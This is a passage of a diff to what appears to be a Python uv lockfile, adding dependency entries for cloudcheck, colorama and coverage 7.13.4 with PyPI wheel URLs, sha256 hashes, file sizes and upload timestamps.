"2026-02-03T17:36:50.138Z" }, + { url = "https://files.pythonhosted.org/packages/25/64/cbc543a16eb8e036f0bc9be7687d3e3c4fc46883c57609896b8084219976/cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f593b1a400f8b0ec3995b56126efb001729b46bac4c76d6d2399e8ab62e49515", size = 4207939, upload-time = "2026-02-03T17:37:07.172Z" }, + { url = "https://files.pythonhosted.org/packages/40/80/d4ba464388e7ae68b36f81d3091cbe9be6b0dff450f24612552205e93d91/cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:4854fc0aa88ec38275f0c2f8057803c1c37eec93d9f4c5e9f0e0a5b38fd6604f", size = 4230542, upload-time = "2026-02-03T17:37:22.976Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "coverage" +version = "7.13.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/56/95b7e30fa389756cb56630faa728da46a27b8c6eb46f9d557c68fff12b65/coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91", size = 827239, upload-time = "2026-02-09T12:59:03.86Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/44/d4/7827d9ffa34d5d4d752eec907022aa417120936282fc488306f5da08c292/coverage-7.13.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0fc31c787a84f8cd6027eba44010517020e0d18487064cd3d8968941856d1415", size = 219152, upload-time = "2026-02-09T12:56:11.974Z" }, + { url = "https://files.pythonhosted.org/packages/35/b0/d69df26607c64043292644dbb9dc54b0856fabaa2cbb1eeee3331cc9e280/coverage-7.13.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b", size = 219667, upload-time = "2026-02-09T12:56:13.33Z" }, + { url = "https://files.pythonhosted.org/packages/82/a4/c1523f7c9e47b2271dbf8c2a097e7a1f89ef0d66f5840bb59b7e8814157b/coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a", size = 246425, upload-time = "2026-02-09T12:56:14.552Z" }, + { url = "https://files.pythonhosted.org/packages/f8/02/aa7ec01d1a5023c4b680ab7257f9bfde9defe8fdddfe40be096ac19e8177/coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f", size = 248229, upload-time = "2026-02-09T12:56:16.31Z" }, + { url = "https://files.pythonhosted.org/packages/35/98/85aba0aed5126d896162087ef3f0e789a225697245256fc6181b95f47207/coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012", size = 250106, upload-time = "2026-02-09T12:56:18.024Z" }, + { url = "https://files.pythonhosted.org/packages/96/72/1db59bd67494bc162e3e4cd5fbc7edba2c7026b22f7c8ef1496d58c2b94c/coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def", size = 252021, upload-time = "2026-02-09T12:56:19.272Z" }, + { url = "https://files.pythonhosted.org/packages/9d/97/72899c59c7066961de6e3daa142d459d47d104956db43e057e034f015c8a/coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256", size = 247114, upload-time = "2026-02-09T12:56:21.051Z" }, + { url = "https://files.pythonhosted.org/packages/39/1f/f1885573b5970235e908da4389176936c8933e86cb316b9620aab1585fa2/coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda", size = 248143, upload-time = "2026-02-09T12:56:22.585Z" }, + { url = "https://files.pythonhosted.org/packages/a8/cf/e80390c5b7480b722fa3e994f8202807799b85bc562aa4f1dde209fbb7be/coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92", size = 246152, upload-time = "2026-02-09T12:56:23.748Z" }, + { url = "https://files.pythonhosted.org/packages/44/bf/f89a8350d85572f95412debb0fb9bb4795b1d5b5232bd652923c759e787b/coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c", size = 249959, upload-time = "2026-02-09T12:56:25.209Z" }, + { url = "https://files.pythonhosted.org/packages/f7/6e/612a02aece8178c818df273e8d1642190c4875402ca2ba74514394b27aba/coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58", size = 246416, upload-time = "2026-02-09T12:56:26.475Z" }, + { url = "https://files.pythonhosted.org/packages/cb/98/b5afc39af67c2fa6786b03c3a7091fc300947387ce8914b096db8a73d67a/coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9", size = 247025, upload-time = "2026-02-09T12:56:27.727Z" }, + { url = "https://files.pythonhosted.org/packages/51/30/2bba8ef0682d5bd210c38fe497e12a06c9f8d663f7025e9f5c2c31ce847d/coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf", size = 221758, upload-time = "2026-02-09T12:56:29.051Z" }, + { url = "https://files.pythonhosted.org/packages/78/13/331f94934cf6c092b8ea59ff868eb587bc8fe0893f02c55bc6c0183a192e/coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95", size = 222693, upload-time = "2026-02-09T12:56:30.366Z" }, + { url = "https://files.pythonhosted.org/packages/b4/ad/b59e5b451cf7172b8d1043dc0fa718f23aab379bc1521ee13d4bd9bfa960/coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053", size = 219278, upload-time = "2026-02-09T12:56:31.673Z" }, + { url = "https://files.pythonhosted.org/packages/f1/17/0cb7ca3de72e5f4ef2ec2fa0089beafbcaaaead1844e8b8a63d35173d77d/coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11", size = 219783, upload-time = "2026-02-09T12:56:33.104Z" }, + { url = "https://files.pythonhosted.org/packages/ab/63/325d8e5b11e0eaf6d0f6a44fad444ae58820929a9b0de943fa377fe73e85/coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa", size = 250200, upload-time = "2026-02-09T12:56:34.474Z" }, + { url = "https://files.pythonhosted.org/packages/76/53/c16972708cbb79f2942922571a687c52bd109a7bd51175aeb7558dff2236/coverage-7.13.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e264226ec98e01a8e1054314af91ee6cde0eacac4f465cc93b03dbe0bce2fd7", size = 252114, upload-time = "2026-02-09T12:56:35.749Z" }, + { url = "https://files.pythonhosted.org/packages/eb/c2/7ab36d8b8cc412bec9ea2d07c83c48930eb4ba649634ba00cb7e4e0f9017/coverage-7.13.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a3aa4e7b9e416774b21797365b358a6e827ffadaaca81b69ee02946852449f00", size = 254220, upload-time = "2026-02-09T12:56:37.796Z" }, + { url = "https://files.pythonhosted.org/packages/d6/4d/cf52c9a3322c89a0e6febdfbc83bb45c0ed3c64ad14081b9503adee702e7/coverage-7.13.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:71ca20079dd8f27fcf808817e281e90220475cd75115162218d0e27549f95fef", size = 256164, upload-time = "2026-02-09T12:56:39.016Z" }, + { url = "https://files.pythonhosted.org/packages/78/e9/eb1dd17bd6de8289df3580e967e78294f352a5df8a57ff4671ee5fc3dcd0/coverage-7.13.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e2f25215f1a359ab17320b47bcdaca3e6e6356652e8256f2441e4ef972052903", size = 250325, upload-time = "2026-02-09T12:56:40.668Z" }, + { url = "https://files.pythonhosted.org/packages/71/07/8c1542aa873728f72267c07278c5cc0ec91356daf974df21335ccdb46368/coverage-7.13.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d65b2d373032411e86960604dc4edac91fdfb5dca539461cf2cbe78327d1e64f", size = 251913, upload-time = "2026-02-09T12:56:41.97Z" }, + { url = "https://files.pythonhosted.org/packages/74/d7/c62e2c5e4483a748e27868e4c32ad3daa9bdddbba58e1bc7a15e252baa74/coverage-7.13.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94eb63f9b363180aff17de3e7c8760c3ba94664ea2695c52f10111244d16a299", size = 249974, upload-time = "2026-02-09T12:56:43.323Z" }, + { url = "https://files.pythonhosted.org/packages/98/9f/4c5c015a6e98ced54efd0f5cf8d31b88e5504ecb6857585fc0161bb1e600/coverage-7.13.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e856bf6616714c3a9fbc270ab54103f4e685ba236fa98c054e8f87f266c93505", size = 253741, upload-time = "2026-02-09T12:56:45.155Z" }, + { url = "https://files.pythonhosted.org/packages/bd/59/0f4eef89b9f0fcd9633b5d350016f54126ab49426a70ff4c4e87446cabdc/coverage-7.13.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:65dfcbe305c3dfe658492df2d85259e0d79ead4177f9ae724b6fb245198f55d6", size = 249695, upload-time = "2026-02-09T12:56:46.636Z" }, + { url = "https://files.pythonhosted.org/packages/b5/2c/b7476f938deb07166f3eb281a385c262675d688ff4659ad56c6c6b8e2e70/coverage-7.13.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b507778ae8a4c915436ed5c2e05b4a6cecfa70f734e19c22a005152a11c7b6a9", size = 250599, upload-time = "2026-02-09T12:56:48.13Z" }, + { url = "https://files.pythonhosted.org/packages/b8/34/c3420709d9846ee3785b9f2831b4d94f276f38884032dca1457fa83f7476/coverage-7.13.4-cp311-cp311-win32.whl", hash = "sha256:784fc3cf8be001197b652d51d3fd259b1e2262888693a4636e18879f613a62a9", size = 221780, upload-time = "2026-02-09T12:56:50.479Z" }, + { url = "https://files.pythonhosted.org/packages/61/08/3d9c8613079d2b11c185b865de9a4c1a68850cfda2b357fae365cf609f29/coverage-7.13.4-cp311-cp311-win_amd64.whl", hash = "sha256:2421d591f8ca05b308cf0092807308b2facbefe54af7c02ac22548b88b95c98f", size = 222715, upload-time = "2026-02-09T12:56:51.815Z" }, + { url = "https://files.pythonhosted.org/packages/18/1a/54c3c80b2f056164cc0a6cdcb040733760c7c4be9d780fe655f356f433e4/coverage-7.13.4-cp311-cp311-win_arm64.whl", hash = "sha256:79e73a76b854d9c6088fe5d8b2ebe745f8681c55f7397c3c0a016192d681045f", size = 221385, upload-time = "2026-02-09T12:56:53.194Z" }, + { url = "https://files.pythonhosted.org/packages/d1/81/4ce2fdd909c5a0ed1f6dedb88aa57ab79b6d1fbd9b588c1ac7ef45659566/coverage-7.13.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:02231499b08dabbe2b96612993e5fc34217cdae907a51b906ac7fca8027a4459", size = 219449, upload-time = "2026-02-09T12:56:54.889Z" }, + { url = "https://files.pythonhosted.org/packages/5d/96/5238b1efc5922ddbdc9b0db9243152c09777804fb7c02ad1741eb18a11c0/coverage-7.13.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40aa8808140e55dc022b15d8aa7f651b6b3d68b365ea0398f1441e0b04d859c3", size = 219810, upload-time = "2026-02-09T12:56:56.33Z" }, + { url = "https://files.pythonhosted.org/packages/78/72/2f372b726d433c9c35e56377cf1d513b4c16fe51841060d826b95caacec1/coverage-7.13.4-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5b856a8ccf749480024ff3bd7310adaef57bf31fd17e1bfc404b7940b6986634", size = 251308, upload-time = "2026-02-09T12:56:57.858Z" }, + { url = "https://files.pythonhosted.org/packages/5d/a0/2ea570925524ef4e00bb6c82649f5682a77fac5ab910a65c9284de422600/coverage-7.13.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c048ea43875fbf8b45d476ad79f179809c590ec7b79e2035c662e7afa3192e3", size = 254052, upload-time = "2026-02-09T12:56:59.754Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ac/45dc2e19a1939098d783c846e130b8f862fbb50d09e0af663988f2f21973/coverage-7.13.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b7b38448866e83176e28086674fe7368ab8590e4610fb662b44e345b86d63ffa", size = 255165, upload-time = "2026-02-09T12:57:01.287Z" }, + { url = "https://files.pythonhosted.org/packages/2d/4d/26d236ff35abc3b5e63540d3386e4c3b192168c1d96da5cb2f43c640970f/coverage-7.13.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:de6defc1c9badbf8b9e67ae90fd00519186d6ab64e5cc5f3d21359c2a9b2c1d3", size = 257432, upload-time = "2026-02-09T12:57:02.637Z" }, + { url = "https://files.pythonhosted.org/packages/ec/55/14a966c757d1348b2e19caf699415a2a4c4f7feaa4bbc6326a51f5c7dd1b/coverage-7.13.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7eda778067ad7ffccd23ecffce537dface96212576a07924cbf0d8799d2ded5a", size = 251716, upload-time = "2026-02-09T12:57:04.056Z" }, + { url = "https://files.pythonhosted.org/packages/77/33/50116647905837c66d28b2af1321b845d5f5d19be9655cb84d4a0ea806b4/coverage-7.13.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e87f6c587c3f34356c3759f0420693e35e7eb0e2e41e4c011cb6ec6ecbbf1db7", size = 253089, upload-time = "2026-02-09T12:57:05.503Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b4/8efb11a46e3665d92635a56e4f2d4529de6d33f2cb38afd47d779d15fc99/coverage-7.13.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8248977c2e33aecb2ced42fef99f2d319e9904a36e55a8a68b69207fb7e43edc", size = 251232, upload-time = "2026-02-09T12:57:06.879Z" }, + { url = "https://files.pythonhosted.org/packages/51/24/8cd73dd399b812cc76bb0ac260e671c4163093441847ffe058ac9fda1e32/coverage-7.13.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:25381386e80ae727608e662474db537d4df1ecd42379b5ba33c84633a2b36d47", size = 255299, upload-time = "2026-02-09T12:57:08.245Z" }, + { url = "https://files.pythonhosted.org/packages/03/94/0a4b12f1d0e029ce1ccc1c800944a9984cbe7d678e470bb6d3c6bc38a0da/coverage-7.13.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:ee756f00726693e5ba94d6df2bdfd64d4852d23b09bb0bc700e3b30e6f333985", size = 250796, upload-time = "2026-02-09T12:57:10.142Z" }, + { url = "https://files.pythonhosted.org/packages/73/44/6002fbf88f6698ca034360ce474c406be6d5a985b3fdb3401128031eef6b/coverage-7.13.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fdfc1e28e7c7cdce44985b3043bc13bbd9c747520f94a4d7164af8260b3d91f0", size = 252673, upload-time = "2026-02-09T12:57:12.197Z" }, + { url = "https://files.pythonhosted.org/packages/de/c6/a0279f7c00e786be75a749a5674e6fa267bcbd8209cd10c9a450c655dfa7/coverage-7.13.4-cp312-cp312-win32.whl", hash = "sha256:01d4cbc3c283a17fc1e42d614a119f7f438eabb593391283adca8dc86eff1246", size = 221990, upload-time = "2026-02-09T12:57:14.085Z" }, + { url = "https://files.pythonhosted.org/packages/77/4e/c0a25a425fcf5557d9abd18419c95b63922e897bc86c1f327f155ef234a9/coverage-7.13.4-cp312-cp312-win_amd64.whl", hash = "sha256:9401ebc7ef522f01d01d45532c68c5ac40fb27113019b6b7d8b208f6e9baa126", size = 222800, upload-time = "2026-02-09T12:57:15.944Z" }, + { url = "https://files.pythonhosted.org/packages/47/ac/92da44ad9a6f4e3a7debd178949d6f3769bedca33830ce9b1dcdab589a37/coverage-7.13.4-cp312-cp312-win_arm64.whl", hash = "sha256:b1ec7b6b6e93255f952e27ab58fbc68dcc468844b16ecbee881aeb29b6ab4d8d", size = 221415, upload-time = "2026-02-09T12:57:17.497Z" }, + { url = "https://files.pythonhosted.org/packages/db/23/aad45061a31677d68e47499197a131eea55da4875d16c1f42021ab963503/coverage-7.13.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b66a2da594b6068b48b2692f043f35d4d3693fb639d5ea8b39533c2ad9ac3ab9", size = 219474, upload-time = "2026-02-09T12:57:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/a5/70/9b8b67a0945f3dfec1fd896c5cefb7c19d5a3a6d74630b99a895170999ae/coverage-7.13.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3599eb3992d814d23b35c536c28df1a882caa950f8f507cef23d1cbf334995ac", size = 219844, upload-time = "2026-02-09T12:57:20.66Z" }, + { url = "https://files.pythonhosted.org/packages/97/fd/7e859f8fab324cef6c4ad7cff156ca7c489fef9179d5749b0c8d321281c2/coverage-7.13.4-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:93550784d9281e374fb5a12bf1324cc8a963fd63b2d2f223503ef0fd4aa339ea", size = 250832, upload-time = "2026-02-09T12:57:22.007Z" }, + { url = "https://files.pythonhosted.org/packages/e4/dc/b2442d10020c2f52617828862d8b6ee337859cd8f3a1f13d607dddda9cf7/coverage-7.13.4-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b720ce6a88a2755f7c697c23268ddc47a571b88052e6b155224347389fdf6a3b", size = 253434, upload-time = "2026-02-09T12:57:23.339Z" }, + { url = "https://files.pythonhosted.org/packages/5a/88/6728a7ad17428b18d836540630487231f5470fb82454871149502f5e5aa2/coverage-7.13.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7b322db1284a2ed3aa28ffd8ebe3db91c929b7a333c0820abec3d838ef5b3525", size = 254676, upload-time = "2026-02-09T12:57:24.774Z" }, + { url = "https://files.pythonhosted.org/packages/7c/bc/21244b1b8cedf0dff0a2b53b208015fe798d5f2a8d5348dbfece04224fff/coverage-7.13.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f4594c67d8a7c89cf922d9df0438c7c7bb022ad506eddb0fdb2863359ff78242", size = 256807, upload-time = "2026-02-09T12:57:26.125Z" }, + { url = "https://files.pythonhosted.org/packages/97/a0/ddba7ed3251cff51006737a727d84e05b61517d1784a9988a846ba508877/coverage-7.13.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53d133df809c743eb8bce33b24bcababb371f4441340578cd406e084d94a6148", size = 251058, upload-time = "2026-02-09T12:57:27.614Z" }, + { url = "https://files.pythonhosted.org/packages/9b/55/e289addf7ff54d3a540526f33751951bf0878f3809b47f6dfb3def69c6f7/coverage-7.13.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76451d1978b95ba6507a039090ba076105c87cc76fc3efd5d35d72093964d49a", size = 252805, upload-time = "2026-02-09T12:57:29.066Z" }, + { url = "https://files.pythonhosted.org/packages/13/4e/cc276b1fa4a59be56d96f1dabddbdc30f4ba22e3b1cd42504c37b3313255/coverage-7.13.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7f57b33491e281e962021de110b451ab8a24182589be17e12a22c79047935e23", size = 250766, upload-time = "2026-02-09T12:57:30.522Z" }, + { url = "https://files.pythonhosted.org/packages/94/44/1093b8f93018f8b41a8cf29636c9292502f05e4a113d4d107d14a3acd044/coverage-7.13.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:1731dc33dc276dafc410a885cbf5992f1ff171393e48a21453b78727d090de80", size = 254923, upload-time = "2026-02-09T12:57:31.946Z" }, + { url = "https://files.pythonhosted.org/packages/8b/55/ea2796da2d42257f37dbea1aab239ba9263b31bd91d5527cdd6db5efe174/coverage-7.13.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bd60d4fe2f6fa7dff9223ca1bbc9f05d2b6697bc5961072e5d3b952d46e1b1ea", size = 250591, upload-time = "2026-02-09T12:57:33.842Z" }, + { url = "https://files.pythonhosted.org/packages/d4/fa/7c4bb72aacf8af5020675aa633e59c1fbe296d22aed191b6a5b711eb2bc7/coverage-7.13.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9181a3ccead280b828fae232df12b16652702b49d41e99d657f46cc7b1f6ec7a", size = 252364, upload-time = "2026-02-09T12:57:35.743Z" }, + { url = "https://files.pythonhosted.org/packages/5c/38/a8d2ec0146479c20bbaa7181b5b455a0c41101eed57f10dd19a78ab44c80/coverage-7.13.4-cp313-cp313-win32.whl", hash = "sha256:f53d492307962561ac7de4cd1de3e363589b000ab69617c6156a16ba7237998d", size = 222010, upload-time = "2026-02-09T12:57:37.25Z" }, + { url = "https://files.pythonhosted.org/packages/e2/0c/dbfafbe90a185943dcfbc766fe0e1909f658811492d79b741523a414a6cc/coverage-7.13.4-cp313-cp313-win_amd64.whl", hash = "sha256:e6f70dec1cc557e52df5306d051ef56003f74d56e9c4dd7ddb07e07ef32a84dd", size = 222818, upload-time = "2026-02-09T12:57:38.734Z" }, + { url = "https://files.pythonhosted.org/packages/04/d1/934918a138c932c90d78301f45f677fb05c39a3112b96fd2c8e60503cdc7/coverage-7.13.4-cp313-cp313-win_arm64.whl", hash = "sha256:fb07dc5da7e849e2ad31a5d74e9bece81f30ecf5a42909d0a695f8bd1874d6af", size = 221438, upload-time = "2026-02-09T12:57:40.223Z" }, + { url = "https://files.pythonhosted.org/packages/52/57/ee93ced533bcb3e6df961c0c6e42da2fc6addae53fb95b94a89b1e33ebd7/coverage-7.13.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40d74da8e6c4b9ac18b15331c4b5ebc35a17069410cad462ad4f40dcd2d50c0d", size = 220165, upload-time = "2026-02-09T12:57:41.639Z" }, + { url = "https://files.pythonhosted.org/packages/c5/e0/969fc285a6fbdda49d91af278488d904dcd7651b2693872f0ff94e40e84a/coverage-7.13.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4223b4230a376138939a9173f1bdd6521994f2aff8047fae100d6d94d50c5a12", size = 220516, upload-time = "2026-02-09T12:57:44.215Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b8/9531944e16267e2735a30a9641ff49671f07e8138ecf1ca13db9fd2560c7/coverage-7.13.4-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1d4be36a5114c499f9f1f9195e95ebf979460dbe2d88e6816ea202010ba1c34b", size = 261804, upload-time = "2026-02-09T12:57:45.989Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f3/e63df6d500314a2a60390d1989240d5f27318a7a68fa30ad3806e2a9323e/coverage-7.13.4-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:200dea7d1e8095cc6e98cdabe3fd1d21ab17d3cee6dab00cadbb2fe35d9c15b9", size = 263885, upload-time = "2026-02-09T12:57:47.42Z" }, + { url = "https://files.pythonhosted.org/packages/f3/67/7654810de580e14b37670b60a09c599fa348e48312db5b216d730857ffe6/coverage-7.13.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8eb931ee8e6d8243e253e5ed7336deea6904369d2fd8ae6e43f68abbf167092", size = 266308, upload-time = "2026-02-09T12:57:49.345Z" }, + { url = "https://files.pythonhosted.org/packages/37/6f/39d41eca0eab3cc82115953ad41c4e77935286c930e8fad15eaed1389d83/coverage-7.13.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:75eab1ebe4f2f64d9509b984f9314d4aa788540368218b858dad56dc8f3e5eb9", size = 267452, upload-time = "2026-02-09T12:57:50.811Z" }, + { url = "https://files.pythonhosted.org/packages/50/6d/39c0fbb8fc5cd4d2090811e553c2108cf5112e882f82505ee7495349a6bf/coverage-7.13.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c35eb28c1d085eb7d8c9b3296567a1bebe03ce72962e932431b9a61f28facf26", size = 261057, upload-time = "2026-02-09T12:57:52.447Z" }, + { url = "https://files.pythonhosted.org/packages/a4/a2/60010c669df5fa603bb5a97fb75407e191a846510da70ac657eb696b7fce/coverage-7.13.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:eb88b316ec33760714a4720feb2816a3a59180fd58c1985012054fa7aebee4c2", size = 263875, upload-time = "2026-02-09T12:57:53.938Z" }, + { url = "https://files.pythonhosted.org/packages/3e/d9/63b22a6bdbd17f1f96e9ed58604c2a6b0e72a9133e37d663bef185877cf6/coverage-7.13.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7d41eead3cc673cbd38a4417deb7fd0b4ca26954ff7dc6078e33f6ff97bed940", size = 261500, upload-time = "2026-02-09T12:57:56.012Z" }, + { url = "https://files.pythonhosted.org/packages/70/bf/69f86ba1ad85bc3ad240e4c0e57a2e620fbc0e1645a47b5c62f0e941ad7f/coverage-7.13.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:fb26a934946a6afe0e326aebe0730cdff393a8bc0bbb65a2f41e30feddca399c", size = 265212, upload-time = "2026-02-09T12:57:57.5Z" }, + { url = "https://files.pythonhosted.org/packages/ae/f2/5f65a278a8c2148731831574c73e42f57204243d33bedaaf18fa79c5958f/coverage-7.13.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:dae88bc0fc77edaa65c14be099bd57ee140cf507e6bfdeea7938457ab387efb0", size = 260398, upload-time = "2026-02-09T12:57:59.027Z" }, + { url = "https://files.pythonhosted.org/packages/ef/80/6e8280a350ee9fea92f14b8357448a242dcaa243cb2c72ab0ca591f66c8c/coverage-7.13.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:845f352911777a8e722bfce168958214951e07e47e5d5d9744109fa5fe77f79b", size = 262584, upload-time = "2026-02-09T12:58:01.129Z" }, + { url = "https://files.pythonhosted.org/packages/22/63/01ff182fc95f260b539590fb12c11ad3e21332c15f9799cb5e2386f71d9f/coverage-7.13.4-cp313-cp313t-win32.whl", hash = "sha256:2fa8d5f8de70688a28240de9e139fa16b153cc3cbb01c5f16d88d6505ebdadf9", size = 222688, upload-time = "2026-02-09T12:58:02.736Z" }, + { url = "https://files.pythonhosted.org/packages/a9/43/89de4ef5d3cd53b886afa114065f7e9d3707bdb3e5efae13535b46ae483d/coverage-7.13.4-cp313-cp313t-win_amd64.whl", hash = "sha256:9351229c8c8407645840edcc277f4a2d44814d1bc34a2128c11c2a031d45a5dd", size = 223746, upload-time = "2026-02-09T12:58:05.362Z" }, + { url = "https://files.pythonhosted.org/packages/35/39/7cf0aa9a10d470a5309b38b289b9bb07ddeac5d61af9b664fe9775a4cb3e/coverage-7.13.4-cp313-cp313t-win_arm64.whl", hash = "sha256:30b8d0512f2dc8c8747557e8fb459d6176a2c9e5731e2b74d311c03b78451997", size = 222003, upload-time = "2026-02-09T12:58:06.952Z" }, + { url = 